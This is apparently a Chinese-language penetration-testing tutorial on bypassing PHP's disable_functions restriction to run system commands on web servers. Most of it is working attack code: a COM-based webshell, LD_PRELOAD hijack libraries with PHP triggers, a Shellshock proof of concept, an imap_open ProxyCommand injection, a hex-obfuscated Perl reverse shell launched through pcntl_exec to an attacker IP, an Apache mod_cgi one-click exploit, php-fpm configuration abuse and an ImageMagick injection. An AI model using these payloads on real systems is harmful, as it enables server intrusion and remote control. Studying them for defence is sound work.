bypass disable_functions
disable_functions是php.ini中的一个设置选项,可以用来设置PHP环境禁止使用某些函数,通常是网站管理员为了安全起见,用来禁用某些危险的命令执行函数等。
要进行添加的话在php.ini中添加即可,每个函数之间使用逗号隔开。
配置
打开php.ini,搜索disable_function,添加如下函数
eval,passthru,exec,system,chroot,scandir,chgrp,chown,shell_exec,proc_open,proc_get_status,ini_alter,ini_alter,ini_restore,dl,pfsockopen,openlog,syslog,readlink,symlink,popepassthru,stream_socket_server,fsocket,fsockopen
重启web服务,更改index.php,查看输出
<?php
eval(var_dump(1));
phpinfo();
发现成功执行了eval函数,但是disable_function中确实禁止了eval
因为eval是语言构造器,不是函数,放在disable_functions中是无法禁用的,如果想禁掉eval可以用php的扩展 Suhosin
基础绕过
危险函数
- exec
- shell_exec
- system
- passthru
- popen
- proc_open
- pcntl_exec
Windows
com组件拓展
要求:
-
开启COM组件(5.4自带其他版本自己添加)
- com_dotnet
上传脚本
<?php
$command = $_GET['cmd'];
$wsh = new COM('WScript.shell'); // 生成一个COM对象 Shell.Application也能
$exec = $wsh->exec("cmd /c".$command); //调用对象方法来执行命令
$stdout = $exec->StdOut();
$stroutput = $stdout->ReadAll();
echo $stroutput;
?>
Linux
环境变量LD_preload
劫持sendmail中getuid
条件:
-
mail()函数和error_log()函数未被全部禁用
-
函数所调用的sendmail命令已安装
- centos默认安装的
- ubantu则默认不安装
基本原理
通过环境变量 LD_PRELOAD 劫持系统函数,来突破 disable_functions 限制执行操作系统命令。
LD_PRELOAD是Linux系统的下一个有趣的环境变量:
“它允许你定义在程序运行前优先加载的动态链接库。这个功能主要就是用来有选择性的载入不同动态链接库中的相同函数。
so就像windows的dll,可以写入,也可以覆盖然后利用LD_preload来优先加载so动态链接库
sendmail函数在运行过程动态调用了很多标准库函数
readelf -Ws /usr/sbin/sendmail
构造poc思路
- 编写一个原型为 uid_t getuid(void); 的 C 函数,内部执行攻击者指定的代码,并编译成共享对象 evil.so;
- 运行 PHP 函数 putenv(),设定环境变量 LD_PRELOAD 为 evil.so,以便后续启动新进程时优先加载该共享对象;
- 运行 PHP 的 mail() 函数,mail() 内部启动新进程 /usr/sbin/sendmail,由于上一步 LD_PRELOAD 的作用,sendmail 调用的系统函数 getuid() 被优先级更好的 evil.so 中的同名 getuid() 所劫持;
1.编制我们自己的动态链接程序,代码如下(功能是执行mkdir test)执行编译为一个动态共享库的命令如下
gcc -shared -fPIC test.c -o test.so
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
int geteuid() {
const char* cmdline = getenv("EVIL_CMDLINE");
if (getenv("LD_PRELOAD") == NULL) { return 0; }
unsetenv("LD_PRELOAD");
system(cmdline);
}
2.利用webshell,上传编译后的a.so到目标服务器
3.通过putenv来设置LD_PRELOAD,让我们的程序优先被调用。在webshell上用mail函数发送一封邮件来触发。利用代码如下
<?php
echo "<p> <b>example</b>: http://test.com/exp.php?cmd=pwd&outpath=/tmp/xx&sopath=/var/www/html/exp.so </p>";
$cmd = $_GET["cmd"];
$out_path = $_GET["outpath"];
$evil_cmdline = $cmd . " > " . $out_path . " 2>&1";
echo "<p> <b>cmdline</b>: " . $evil_cmdline . "</p>";
putenv("EVIL_CMDLINE=" . $evil_cmdline);
$so_path = $_GET["sopath"];
putenv("LD_PRELOAD=" . $so_path);
mail("", "", "", "");
echo "<p> <b>output</b>: <br />" . nl2br(file_get_contents($out_path)) . "</p>";
unlink($out_path);
?>
这里接受3个参数
- 一是cmd参数,待执行的系统命令
- 二是outpath参数,保存命令执行输出结果的文件路径,便于在页面上显示,另外该参数,你应注意web是否有读写权限、web是否可跨目录访问、文件将被覆盖和删除等几点
- 三是sopath参数,指定劫持系统函数的共享对象的绝对路径。
这里通过putenv()函数将LD_PRELOAD环境变量设置为恶意的test.so
将自定义的EVIL_CMDLINE环境变量赋值为要执行的命令;
然后调用mail()函数触发sendmail(),再通过sendmail()触发getuid()从而使恶意的test.so被加载执行
最后再输出内容到页面上并删除临时存放命令执行结果的文件。
劫持启动进程
GCC 有个 C 语言扩展修饰符 __attribute__((constructor))
,可以让由它修饰的函数在 main() 之前执行,若它出现在共享对象中时,那么一旦共享对象被系统加载,立即将执行
攻击利用
bypass_disablefunc.c
#define _GNU_SOURCE
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
extern char** environ;
__attribute__ ((__constructor__)) void preload (void)
{
// get command line options and arg
const char* cmdline = getenv("EVIL_CMDLINE");
// unset environment variable LD_PRELOAD.
// unsetenv("LD_PRELOAD") no effect on some
// distribution (e.g., centos), I need crafty trick.
int i;
for (i = 0; environ[i]; ++i) {
if (strstr(environ[i], "LD_PRELOAD")) {
environ[i][0] = '\0';
}
}
// executive command
system(cmdline);
}
通过 LD_PRELOAD 劫持了启动进程的行为,劫持后又启动了另外的新进程,若不在新进程启动前取消 LD_PRELOAD,则将陷入无限循环,所以必须得删除环境变量 LD_PRELOAD。所以用environ来进行 删除环境变量
接着用以下语句编译C文件为共享对象文件:
gcc -shared -fPIC bypass_disablefunc.c -o bypass_disablefunc.so
bypass_disablefunc.php,代码和test.php一致:
<?php
echo "<p> <b>example</b>: http://site.com/bypass_disablefunc.php?cmd=pwd&outpath=/tmp/xx&sopath=/var/www/bypass_disablefunc_x64.so </p>";
$cmd = $_GET["cmd"];
$out_path = $_GET["outpath"];
$evil_cmdline = $cmd . " > " . $out_path . " 2>&1";
echo "<p> <b>cmdline</b>: " . $evil_cmdline . "</p>";
putenv("EVIL_CMDLINE=" . $evil_cmdline);
$so_path = $_GET["sopath"];
putenv("LD_PRELOAD=" . $so_path);
mail("", "", "", "");
echo "<p> <b>output</b>: <br />" . nl2br(file_get_contents($out_path)) . "</p>";
unlink($out_path);
?>
Bash破壳(CVE-2014-6271)
前提条件
- 目标OS存在Bash破壳(CVE-2014-6271)漏洞
- 被攻击的bash存在漏洞(版本小于等于4.3)
- 攻击者可以控制环境变量
- 新的bash进程被打开触发漏洞并执行命令
- 该漏洞存在于bash 1.14 - 4.3版本中,受影响的Linux系统包括:Red Hat企业Linux (versions 4 ~7) 、Fedora distribution、CentOS (versions 5 ~7)、Ubuntu 10.04 LTS,12.04 LTS和14.04 LTS、Debian等
- 以(){开头定义的环境变量在命令ENV中解析成函数后,Bash执行并未退出,而是继续解析并执行shell命令
验证
env x='() { :;}; echo vulnerable' bash –c "echo This is a test"
- POC中定义变量x为() { :;}; echo vulnerable,它会变成函数,于bash中的函数定义有关。
- bash解析函数后,会继续执行后面的代码,原因在于parse_and_execute函数。
若存在漏洞,将会回显:
vulnerable
This is a test
poc
<?php
function shellshock($cmd) { // Execute a command via CVE-2014-6271 @mail.c:283
$tmp = tempnam(".","data");
putenv("PHP_LOL=() { x; }; $cmd >$tmp 2>&1");
mail("a@127.0.0.1","","","","-bv"); // -bv so we don't actuallysend any mail
$output = @file_get_contents($tmp);
@unlink($tmp);
if($output != "") return $output;
else return "No output, or not vuln.";
}
echo shellshock($_REQUEST["cmd"]);
?>
php能够通过putenv设置环境变量,同时mail函数存在第五个参数时会执行popen()
如果系统默认sh是bash,popen()会派生bash进程,这种函数不仅仅mail,还有imap_mail等
imap拓展
也没成功
前提:
- 安装PHP的imap扩展
- 在php.ini中开启imap.enable_insecure_rsh选项为On
基本原理
简单地说,就是imap_open()函数会调用到rsh的程序,而该程序中会调用execve系统调用来实现rsh的调用,其中的邮件地址参数是由imap_open()函数的mailbox参数传入,同时,由于rsh命令是ssh命令的符号链接,所以当我们利用ssh的-oProxyCommand参数来构造恶意mailbox参数时就能执行恶意命令。
imap_open()
Poc
先判断是否存在imap_open()函数,然后构造exp执行通过外部GET输入的命令然后保存结果到本地文件中,最后输出结果文件内容,注意sleep(5)是为了等imap_open()函数执行完、因为该函数执行时需要DNS轮询会存在延时:
<?php
error_reporting(0);
if (!function_exists('imap_open')) {
die("no imap_open function!");
}
$server = "x -oProxyCommand=echo$IFS$()" . base64_encode($_GET['cmd'] . ">/tmp/cmd_result") . "|base64$IFS$()-d|sh}";
imap_open('{' . $server . ':143/imap}INBOX', '', '')or die("\n\nError: ".imap_last_error());
sleep(5);
echo file_get_contents("/tmp/cmd_result");
?>
pcntl拓展
前提是PHP安装并启用了pcntl插件。
ubuntu18 apt安装的php默认没有这个拓展,需要手动下载编译前提条件
ubuntu编译可以参考
https://www.cnblogs.com/mangyusisha/p/5867370.html
基本原理
原理比较简单,就是利用pcntl_exec()这个pcntl插件专有的命令执行函数来执行系统命令,从而Bypass黑名单。
Bypass 反弹shell
<?php
$ip = 'xx.xx.xx.xx';
$port = '7000';
$file = '/tmp/bc.pl';
header("content-Type: text/html; charset=gb2312");
if(function_exists('pcntl_exec')) {
$data = "\x23\x21\x2f\x75\x73\x72\x2f\x62\x69\x6e\x2f\x70\x65\x72\x6c\x20\x2d\x77\x0d\x0a\x23\x0d\x0a".
"\x0d\x0a\x75\x73\x65\x20\x73\x74\x72\x69\x63\x74\x3b\x20\x20\x20\x20\x0d\x0a\x75\x73\x65\x20".
"\x53\x6f\x63\x6b\x65\x74\x3b\x0d\x0a\x75\x73\x65\x20\x49\x4f\x3a\x3a\x48\x61\x6e\x64\x6c\x65".
"\x3b\x0d\x0a\x0d\x0a\x6d\x79\x20\x24\x72\x65\x6d\x6f\x74\x65\x5f\x69\x70\x20\x3d\x20\x27".$ip.
"\x27\x3b\x0d\x0a\x6d\x79\x20\x24\x72\x65\x6d\x6f\x74\x65\x5f\x70\x6f\x72\x74\x20\x3d\x20\x27".$port.
"\x27\x3b\x0d\x0a\x0d\x0a\x6d\x79\x20\x24\x70\x72\x6f\x74\x6f\x20\x3d\x20\x67\x65\x74\x70\x72".
"\x6f\x74\x6f\x62\x79\x6e\x61\x6d\x65\x28\x22\x74\x63\x70\x22\x29\x3b\x0d\x0a\x6d\x79\x20\x24".
"\x70\x61\x63\x6b\x5f\x61\x64\x64\x72\x20\x3d\x20\x73\x6f\x63\x6b\x61\x64\x64\x72\x5f\x69\x6e".
"\x28\x24\x72\x65\x6d\x6f\x74\x65\x5f\x70\x6f\x72\x74\x2c\x20\x69\x6e\x65\x74\x5f\x61\x74\x6f".
"\x6e\x28\x24\x72\x65\x6d\x6f\x74\x65\x5f\x69\x70\x29\x29\x3b\x0d\x0a\x6d\x79\x20\x24\x73\x68".
"\x65\x6c\x6c\x20\x3d\x20\x27\x2f\x62\x69\x6e\x2f\x73\x68\x20\x2d\x69\x27\x3b\x0d\x0a\x73\x6f".
"\x63\x6b\x65\x74\x28\x53\x4f\x43\x4b\x2c\x20\x41\x46\x5f\x49\x4e\x45\x54\x2c\x20\x53\x4f\x43".
"\x4b\x5f\x53\x54\x52\x45\x41\x4d\x2c\x20\x24\x70\x72\x6f\x74\x6f\x29\x3b\x0d\x0a\x53\x54\x44".
"\x4f\x55\x54\x2d\x3e\x61\x75\x74\x6f\x66\x6c\x75\x73\x68\x28\x31\x29\x3b\x0d\x0a\x53\x4f\x43".
"\x4b\x2d\x3e\x61\x75\x74\x6f\x66\x6c\x75\x73\x68\x28\x31\x29\x3b\x0d\x0a\x63\x6f\x6e\x6e\x65".
"\x63\x74\x28\x53\x4f\x43\x4b\x2c\x24\x70\x61\x63\x6b\x5f\x61\x64\x64\x72\x29\x20\x6f\x72\x20".
"\x64\x69\x65\x20\x22\x63\x61\x6e\x20\x6e\x6f\x74\x20\x63\x6f\x6e\x6e\x65\x63\x74\x3a\x24\x21".
"\x22\x3b\x0d\x0a\x6f\x70\x65\x6e\x20\x53\x54\x44\x49\x4e\x2c\x20\x22\x3c\x26\x53\x4f\x43\x4b".
"\x22\x3b\x0d\x0a\x6f\x70\x65\x6e\x20\x53\x54\x44\x4f\x55\x54\x2c\x20\x22\x3e\x26\x53\x4f\x43".
"\x4b\x22\x3b\x0d\x0a\x6f\x70\x65\x6e\x20\x53\x54\x44\x45\x52\x52\x2c\x20\x22\x3e\x26\x53\x4f".
"\x43\x4b\x22\x3b\x0d\x0a\x73\x79\x73\x74\x65\x6d\x28\x24\x73\x68\x65\x6c\x6c\x29\x3b\x0d\x0a".
"\x63\x6c\x6f\x73\x65\x20\x53\x4f\x43\x4b\x3b\x0d\x0a\x65\x78\x69\x74\x20\x30\x3b\x0a";
$fp = fopen($file,'w');
$key = fputs($fp,$data);
fclose($fp);
if(!$key) exit('写入'.$file.'失败');
chmod($file,0777);
pcntl_exec($file);
unlink($file);
} else {
echo '不支持pcntl扩展';
}
?>
tips:网页请求时无法正常运作是正常的
防御方法
disable_functions的黑名单中添加pcntl相关函数实现禁用
内存漏洞
https://github.com/mm0r1/exploits
原理:
- 各种内存漏洞,pwn大佬
适用
- php7以上
Apache mod Cgi
前提
- Linux 操作系统
- Apache + PHP (apache 使用 apache_mod_php)
- Apache 开启了
cgi
、rewrite
- Web 目录给了
AllowOverride
权限 - 当前目录可写
原理
Apache 在配置开启 CGI 后可以用 ScriptAlias 指令指定一个目录,指定的目录下面便可以存放可执行的 CGI 程序。若是想临时允许一个目录可以执行 CGI 程序并且使得服务器将自定义的后缀解析为 CGI 程序执行,则可以在目的目录下使用 htaccess 文件进行配置,如下:
Options +ExecCGI AddHandler cgi-script .xxx
这样便会将当前目录下的所有的 .xxx 文件当做 CGI 程序执行了。由于 CGI 程序可以执行命令,那我们可以利用 CGI 来执行系统命令绕过 disable_functions。
这里环境比较复杂,所以用蚁剑的labs来快速搭建
git clone https://github.com/AntSwordProject/AntSword-Labs.git
cd bypass_disable_functions/3
docker-compose up -d
访问
http://192.168.159.132:18080/
直接连接无法执行
并且发现目标主机Apache开启了CGI,Web目录下有写入的权限。
我们首先在当前目录创建 .htaccess 文件,写入如下:
Options +ExecCGI
AddHandler cgi-script .ant
然后新建 shell.ant 文件,写入要执行的命令:
#!/bin/sh
echo Content-type: text/html
echo ""
echo&&id
访问shell.ant
一条龙poc
<?php
$cmd = "ls /"; //command to be executed
$shellfile = "#!/bin/bashn"; //using a shellscript
$shellfile .= "echo -ne "Content-Type: text/html\n\n"n"; //header is needed, otherwise a 500 error is thrown when there is output
$shellfile .= "$cmd"; //executing $cmd
function checkEnabled($text,$condition,$yes,$no) //this surely can be shorter
{
echo "$text: " . ($condition ? $yes : $no) . "<br>n";
}
if (!isset($_GET['checked']))
{
@file_put_contents('.htaccess', "nSetEnv HTACCESS on", FILE_APPEND); //Append it to a .htaccess file to see whether .htaccess is allowed
header('Location: ' . $_SERVER['PHP_SELF'] . '?checked=true'); //execute the script again to see if the htaccess test worked
}
else
{
$modcgi = in_array('mod_cgi', apache_get_modules()); // mod_cgi enabled?
$writable = is_writable('.'); //current dir writable?
$htaccess = !empty($_SERVER['HTACCESS']); //htaccess enabled?
checkEnabled("Mod-Cgi enabled",$modcgi,"Yes","No");
checkEnabled("Is writable",$writable,"Yes","No");
checkEnabled("htaccess working",$htaccess,"Yes","No");
if(!($modcgi && $writable && $htaccess))
{
echo "Error. All of the above must be true for the script to work!"; //abort if not
}
else
{
checkEnabled("Backing up .htaccess",copy(".htaccess",".htaccess.bak"),"Suceeded! Saved in .htaccess.bak","Failed!"); //make a backup, cause you never know.
checkEnabled("Write .htaccess file",file_put_contents('.htaccess',"Options +ExecCGInAddHandler cgi-script .dizzle"),"Succeeded!","Failed!"); //.dizzle is a nice extension
checkEnabled("Write shell file",file_put_contents('shell.dizzle',$shellfile),"Succeeded!","Failed!"); //write the file
checkEnabled("Chmod 777",chmod("shell.dizzle",0777),"Succeeded!","Failed!"); //rwx
echo "Executing the script now. Check your listener <img src = 'shell.dizzle' style = 'display:none;'>"; //call the script
}
}
?>
shell.dizzle文件,命令为$cmd
PHP-fpm
使用条件:
-
目标使用了php-fpm模块
-
php-fpm的进程端口暴露在外网(一般为9000端口)
-
知道一个php脚本的绝对路径和名称
PHP-FPM
FPM就是Fastcgi的协议解析器,Web服务器使用CGI协议封装好用户的请求发送给谁呢? 其实就是发送给FPM。FPM按照CGI的协议将TCP流解析成真正的数据。
由于FPM默认监听的是9000端口,我们就可以绕过Web服务器,直接构造Fastcgi协议,和fpm进行通信。于是就有了利用 Webshell 直接与 FPM 通信 来绕过 disable functions 的姿势。
因为前面我们了解了协议原理和内容,接下来就是使用CGI协议封装请求,通过Socket来直接与FPM通信。
第一个限制
既然是请求,那么SCRIPT_FILENAME
就相当的重要,因为前面说过,fpm是根据这个值来执行PHP文件文件的,如果不存在,会直接返回404,所以想要利用好这个漏洞,就得找到一个已经存在的PHP文件,好在一般进行源安装PHP的时候,服务器都会附带上一些PHP文件,如果说我们没有收集到目标Web目录的信息的话,可以试试这种办法.
第二个限制
即使我们能控制SCRIPT_FILENAME
,让fpm执行任意文件,也只是执行目标服务器上的文件,并不能执行我们需要其执行的文件。那要如何绕过这种限制呢?我们可以从php.ini
入手。它有两个特殊选项,能够让我们去做到任意命令执行,那就是auto_prepend_file
和auto_append_file
。auto_prepend_file
的功能是在执行目标文件之前,先包含它指定的文件。那么就有趣了,假设我们设置auto_prepend_file
为php://input
,那么就等于在执行任何PHP文件前都要包含一遍POST过去的内容。所以,我们只需要把待执行的代码放在POST Body中进行远程文件包含,这样就能做到任意代码执行了。
第三个限制
我们虽然可以通过远程文件包含执行任意代码,但是远程文件包含是有allow_url_include
这个限制因素的,如果没有为ON
的话就没有办法进行远程文件包含,那要怎么设置呢? 这里,PHP-FPM有两个可以设置PHP配置项的KEY-VALUE,即PHP_VALUE
和PHP_ADMIN_VALUE
,PHP_VALUE
可以用来设置php.ini,PHP_ADMIN_VALUE
则可以设置所有选项(disable_functions 选项除外),这样就解决问题了。
{
'GATEWAY_INTERFACE': 'FastCGI/1.0',
'REQUEST_METHOD': 'GET',
'SCRIPT_FILENAME': '/var/www/html/name.php',
'SCRIPT_NAME': '/name.php',
'QUERY_STRING': '?name=alex',
'REQUEST_URI': '/name.php?name=alex',
'DOCUMENT_ROOT': '/var/www/html',
'SERVER_SOFTWARE': 'php/fcgiclient',
'REMOTE_ADDR': '127.0.0.1',
'REMOTE_PORT': '6666',
'SERVER_ADDR': '127.0.0.1',
'SERVER_PORT': '80',
'SERVER_NAME': "localhost",
'SERVER_PROTOCOL': 'HTTP/1.1'
'PHP_VALUE': 'auto_prepend_file = php://input',
'PHP_ADMIN_VALUE': 'allow_url_include = On'
}
简单来说就是跳过中间件分配请求的过程,直接构造特定的数据包与php-fpm模块通信
通用
ImageMagick拓展
没复现成功
条件
-
imagic(<= 3.3.0)
-
又因为imagic与php版本对应,所以
version<=php5.6
windows下载
https://windows.php.net/downloads/pecl/releases/imagick/
要点: 注意对应php版本 ts还是nts x86还是x64
这里以phpinfo()为准
添加拓展
- 解压上述文件后,将php_imagick.dll复制到php/ext目录
- 修改php.ini 加上extension=php_imagick.dll
编辑php.ini文件,使其加载
extension=imagick.so
3.将其他dll放到php根目录
安装ImageMagick
在根据phpinfo中的信息去下
ImageMagick 6.9.1-2 Q16 x64
完全找不到- -,下载完成后重启计算机
利用脚本
<?php
echo "Disable Functions: " . ini_get('disable_functions') . "\n";
$command = PHP_SAPI == 'cli' ? $argv[1] : $_GET['cmd'];
if ($command == '') {
$command = 'whoami';
}
$exploit = <<<EOF
push graphic-context
viewbox 0 0 640 480
fill 'url(https://example.com/image.jpg"|$command")'
pop graphic-context
EOF;
file_put_contents("KKKK.mvg", $exploit);
$thumb = new Imagick();
$thumb->readImage('KKKK.mvg');
$thumb->writeImage('KKKK.png');
$thumb->clear();
$thumb->destroy();
unlink("KKKK.mvg");
unlink("KKKK.png");
?>
找不到对应旧版本的ImageMagick,没复现成功
总结
简单做了下分类,说下结论
- Windows下 bypass手段有限,只能期望com拓展以及imagic拓展开启
- 且imagic拓展版本要求严格
- Linux下php高版本(7+)直接用内存漏洞通杀即可,所以其他高版本bypass手法我没有细看
- 低版本的话也不怕手段非常多
- 首先检查拓展如:pcntl,imap 或者模块apache2handler和fpm
- 再不行的话利用环境变量,最后再尝试Bash破壳